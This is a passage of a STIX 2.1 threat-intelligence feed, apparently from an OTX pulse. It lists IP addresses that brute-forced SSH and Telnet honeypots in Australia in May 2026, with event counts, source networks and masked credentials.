      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): g***a, u****u, 3**********4, a***n, ***. Passwords observed (masked): *, ***, 1******r, 1****3, 3***********4.",
      "id": "indicator--9c4233d8-2a1f-40fb-9663-00810f91c9ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.72.129.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): 1******..",
      "id": "indicator--5c436023-d0d9-4aa1-933c-df5d806eb181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.137.135.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, f*****r, u****u, 3**********4, **. Passwords observed (masked): ***, 1*******d, 1****6, 1*******!, 1******r.",
      "id": "indicator--b25076af-f76b-4c37-a8fe-0384aeca436d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.221.162.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): r**t, l******o, 3**********4, r****l, t******r. Passwords observed (masked): *, 1****6, 1******., 3***********4, 3**********4.",
      "id": "indicator--48204ce8-f537-435d-a4b9-e1d6acd1cc13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.161.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A..",
      "id": "indicator--9514619b-75da-43c8-b8da-e24eae73514d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.95.84.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-30T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134768. Organisation(s): CHINANET SHAANXI province Cloud Base network. Usernames observed (masked): d*****r, r*****r. Passwords observed (masked): 1****6, d*****r.",
      "id": "indicator--9d0a3f9c-345c-48f5-9f90-bb0e39a37a12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.34.85.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:15:11.000Z",
      "valid_until": "2026-07-01T00:15:08.000Z"
    },
    {
      "created": "2026-05-30T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 211736. Organisation(s): FOP Dmytro Nedilskyi. Usernames observed (masked): s*****t. Passwords observed (masked): s*****t.",
      "id": "indicator--83a3668a-6a1c-4227-b242-746f85d296ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.156.73.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:15:11.000Z",
      "valid_until": "2026-07-01T00:15:08.000Z"
    },
    {
      "created": "2026-05-30T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 27651. Organisation(s): ENTEL CHILE S.A.. Usernames observed (masked): r**t, 3**********4, a***n, f******d, d****y. Passwords observed (masked): ***, 3***********4, 3**********4, 1****6, A*******@.",
      "id": "indicator--b5ac6f88-c23c-4828-b614-e63cd5d39ce2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.10.86.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:15:11.000Z",
      "valid_until": "2026-07-01T00:15:08.000Z"
    },
    {
      "created": "2026-05-30T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): c****n. Passwords observed (masked): c****n.",
      "id": "indicator--fbbcf434-29eb-49cc-9b25-a632292eeea1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.140.123.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:15:11.000Z",
      "valid_until": "2026-07-01T00:15:08.000Z"
    },
    {
      "created": "2026-05-30T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 12297. Organisation(s): Telecom Armenia OJSC.",
      "id": "indicator--cf3b3488-aee1-4b34-9b55-4d9ce7a2ed15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.241.164.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:15:11.000Z",
      "valid_until": "2026-07-01T00:15:08.000Z"
    },
    {
      "created": "2026-05-30T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 303. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 21499. Organisation(s): Host Europe GmbH. Usernames observed (masked): r**t, 3**********4, a***n, f******d, ***. Passwords observed (masked): ***, 3***********4, 3**********4, 1****6, A*******@.",
      "id": "indicator--72bc7f85-e2b4-4acb-b3be-d4688b4f4a43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.205.183.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:15:11.000Z",
      "valid_until": "2026-07-01T00:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--345f0150-1db5-4469-9f83-47a06c8daa89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '100.14.219.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135951. Organisation(s): Webico Company Limited. Usernames observed (masked): r**t, 3**********4, l***s, m**g, **. Passwords observed (masked): !**********c, 1****3, 1****6, 1******8, 1**********c.",
      "id": "indicator--c9395e8a-d035-4e28-9549-4cfc15ab8edf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.118.44.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--55b51e36-f9d4-4c23-8c71-d4bdcb63fa2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.144.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--35e0632d-fc53-4638-8a10-f02c9b4e8225",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.43.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): u**r. Passwords observed (masked): q****3.",
      "id": "indicator--9d677f47-cf7e-4068-83ee-41c23e4b3802",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.159.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): a***a, j****y, r**t. Passwords observed (masked): 1*********y, a***a, j*******3.",
      "id": "indicator--59ffdf58-4ac8-4b4f-84a0-c8a2d6c95f9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.44.4.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 273250. Organisation(s): SOLUCIONES DE TECNOLOGIA JAH SA DE CV. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--d3dbc73b-69b4-4219-9d1b-361bb35cdfbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.23.126.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net. Usernames observed (masked): r**t, u**r. Passwords observed (masked): a***n, u**r.",
      "id": "indicator--cb7a0110-f05b-4f93-a11b-2785bdf6ebbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--939de982-ef8e-49fe-88f2-ac07e580ef32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f7cc5953-92ff-4318-a043-cc0424e31f9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--03652da4-585f-4eb5-be6d-4c9ae4571262",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f0210a51-3ca6-4748-a7d0-d5e5b740a9ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--092ced31-ee28-4c4b-a00e-ebf856b31d3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:15:11.000Z",
      "valid_until": "2026-07-01T01:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4, h**k, o**o, **. Passwords observed (masked): 0***0, 1**4, 1****6, 1******?, 1*********e.",
      "id": "indicator--cd2807bc-d84e-4d86-882a-9fb6bf166198",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.134.154.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, ***, a***n, h**u. Passwords observed (masked): !*******d, 1****8, 1**************R, 1******8, 3***********4.",
      "id": "indicator--219ef68c-9c34-43c9-94d9-350baaf6759d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.214.112.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited. Usernames observed (masked): r**t, ***, 3**********4, d****s, s******s. Passwords observed (masked): 1****3, 1******8, 3***********4, 3**********4, O************#.",
      "id": "indicator--b064f886-4ce3-40b7-9a6c-e6b120071ded",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.156.194.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--134db202-a58c-430f-832c-dc0095cc1b0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 212238. Organisation(s): Datacamp Limited.",
      "id": "indicator--442ebf7a-e6f7-4154-a9db-2a212641da73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.40.58.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--746133ee-5f06-41f4-94c8-4f90091ca3c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.22.230.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 262237. Organisation(s): Orbyta S.A.. Usernames observed (masked): r**t, 3**********4, d***d, d******1, d****h. Passwords observed (masked): 1*******a, 1****6, 3***********4, 3**********4, A*******~.",
      "id": "indicator--ccfba3eb-07d1-4476-90b6-c4e17202d5c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.82.129.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--4d6ef6e2-870c-4311-984f-68e1d3839a10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.239.71.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): M******6.",
      "id": "indicator--2d87235a-a23c-4f58-a124-8f1999b6f332",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.103.119.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--12cfe19c-a4e4-4f9e-81c0-31de5d1fc742",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.151.84.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
